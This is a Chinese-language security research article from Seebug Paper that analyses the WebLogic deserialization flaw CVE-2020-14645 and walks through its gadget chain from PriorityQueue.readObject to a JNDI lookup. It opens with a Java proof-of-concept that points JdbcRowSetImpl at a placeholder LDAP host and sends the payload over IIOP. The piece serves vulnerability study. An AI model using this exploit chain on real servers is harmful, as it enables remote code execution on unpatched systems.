作者:hu4wufu @ 白帽匯安全研究院
核對:r4v3zn @ 白帽匯安全研究院
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送!
投稿郵箱:paper@seebug.org

前言

近期公布的關于 Weblogic 的反序列化RCE漏洞 CVE-2020-14645,是對 CVE-2020-2883的補丁進行繞過。之前的 CVE-2020-2883 本質上是通過 ReflectionExtractor 調用任意方法,從而實現調用 Runtime 對象的 exec 方法執行任意命令,補丁將 ReflectionExtractor 列入黑名單,那么可以使用 UniversalExtractor 重新構造一條利用鏈。UniversalExtractor 任意調用 getis方法導致可利用 JDNI 遠程動態類加載。UniversalExtractor 是 Weblogic 12.2.1.4.0 版本中獨有的,本文也是基于該版本進行分析。

漏洞復現

漏洞利用 POC,以下的分析也是基于該 POC 進行分析

ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{new ReflectionExtractor("toString",new Object[]{})});
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
queue.add("1");
queue.add("1");
//構造 UniversalExtract 調用 JdbcRowSetImpl 對象的任意方法
UniversalExtractor universalExtractor = new UniversalExtractor();
Object object = new Object[]{};
Reflections.setFieldValue(universalExtractor,"m_aoParam",object);
Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData");
Reflections.setFieldValue(universalExtractor,"m_fMethod",false);
ValueExtractor[] valueExtractor_list = new ValueExtractor[]{universalExtractor};
Field[] fields = ChainedExtractor.class.getDeclaredFields();
Field field = ChainedExtractor.class.getSuperclass().getDeclaredField("m_aExtractor");
field.setAccessible(true);
field.set(chainedExtractor,valueExtractor_list);
JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName("ldap://ip:端口/uaa");
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
// 發送 IIOP 協議數據包
Context context = getContext("iiop://ip:port");
context.rebind("hello", queue);

成功彈出計算機

image-20200804101553091

漏洞分析

了解過 JDNI 注入的都知道漏洞在 lookup() 觸發,這里在 JdbcRowSetImpl.class326lookup() 函數處設置斷點,以下為漏洞利用的簡要調用鏈條:

image-20200803114802258

我們從頭分析,我們都知道反序列化的根本是對象反序列化的時候,我們從 IO 流里面讀出數據的時候再以這種規則把對象還原回來。我們在 in.readObject() 處打斷點,跟進查看 PriorityQueue.readObject() 方法

image-20200804103549551

這里 782 執行 s.defaultReadObject() ,785 執行 s.readInt() 賦給對象輸入流大小以及數組長度,并在 790 行執行 for 循環,依次將 s.readObject() 方法賦值給 queue 對象數組,這里 queue 對象數組長度為 2。

image-20200804104305927

接著往下跟,查看 heapify() 方法。PriorityQueue 實際上是一個最小堆,這里通過 siftDown() 方法進行排序實現堆化,

image-20200804105255018

跟進 siftDown() 方法,這里首先判斷 comparator 是否為空

image-20200804110155065

我們可以看看 comparator 是怎么來的,由此可見是在 PriorityQueue 的構造函數中被賦值的,在初始化構造時,除了給 this.comparator 進行賦值之外,通過 initialCapacity 進行初始化長度。

image-20200804194458747

comparator 不為空,所以我們執行的是 siftDownUsingComparator() 方法,所以跟進 siftDownUsingComparator() 方法。

image-20200804112050425

繼續跟進 ExtractorComparator.compare() 方法

image-20200804112730337

這里調用的是 this.m_extractor.extract() 方法,來看看 this.m_extractor,這里傳入了 extractor

image-20200804200522899

this.m_extractor 的值是與傳入的 extractor 有關的。這里需要構造 this.m_extractorChainedExtractor,才可以調用 ChainedExtractorextract() 方法實現 extract() 調用。

繼續跟進 ChainedExtractor.extract() 方法,可以發現會遍歷 aExtractor 數組,并調用 extract() 方法。

image-20200804121015290

跟進 extract() 方法,此處由于 m_cacheTarget 使用了 transient 修飾,無法被反序列化,因此只能執行 else 部分,最后通過 this.extractComplex(oTarget) 進行最終觸發漏洞點

image-20200804152930452

this.extractComplex(oTarget) 中可以看到最后通過 method.invoke() 進行反射執行,其中 oTargetaoParam 都是可控的。

image-20200805104643434

我們跟進190的 findMethod() 方法,在 475 行需要使 fExactMatchtruefStaticfalse 才可讓傳入 clz 的可以獲取任意方法。fStatic 是可控的,而 fExactMatch 默認為true ,只要沒進入 for 循環即可保持 true 不變,使 cParams 為空即 aclzParam 為空的 Class 數組即可,此處 aclzParamgetClassArray() 方法獲取。

image-20200805105432824

getClasssArray 中通過獲取輸入參數的值對應的 Class 進行處理。

image-20200805110432248

由于傳入的 aoParam 是一個空的 Object[],所以獲取對應的 Class 也為空的 Class[],跟入 isPropertyExtractor() 中進行進行獲取可以看到將 this._fMethod 獲取相反的值。

image-20200805111826338

由于 m_fMethodtransient 修飾,不會被序列化,通過分析 m_fMethod 賦值過程,可發現在 init() 時會獲取sCName,并且通過判定是否為 () 結尾來進行賦值。

image-20200805114008976

image-20200805112641391

由于參數為 this 的原因,導致getValueExtractorCanonicalName()方法返回的都是 null

image-20200805112805383

跟入 getValueExtractorCanonicalName()函數,最后是通過調用 computeValuExtractorCanonicalName 進行處理。

image-20200805113204395

跟入 computeValuExtractorCanonicalName() 之后,如果 aoParam不為 null 且數組長度大于 0 就會返回 null,由于 aoParam 必須為 null ,因此我們調用的方法必須是無參的。接著如果方法名 sName 不以 () 結尾,就會直接返回方法名。否則會判斷方法名是否以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES 數組中的前綴開頭,如果是的話就會截取掉并返回。

image-20200805145607115

回到 extractComplex() 方法中,在 if 條件里會對上述返回的方法名做首字母大寫處理,然后拼接 BEAN_ACCESSOR_PREFIXES 數組中的前綴,判斷 clzTarget 類中是否含有拼接后的方法。這里可以看到我們只能調用任意類中的 getis 開頭的無參方法。也就解釋了為什么 poc 會想到利用 JNDI 來進行遠程動態類加載。

image-20200805144604232

跟進 method.invoke() 方法,會直接跳轉至 JdbcRowSetImpl.getDatabaseMetaData()

image-20200805144744730

image-20200805150250708

由于JdbcRowSetImpl.getDatabaseMetaData(),調用了 this.connect(),可以看到在 326 行執行了 lookup 操作,觸發了漏洞。

image-20200804154222491

至此,跟進 getDataSourceName(),可看到調用了可控制的 dataSource

總結

此漏洞主要以繞過黑名單的形式,利用 UniversalExtractor 任意調用getis方法導致 JNDI 注入,由此拓展 CVE-2020-14625。

參考


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1287/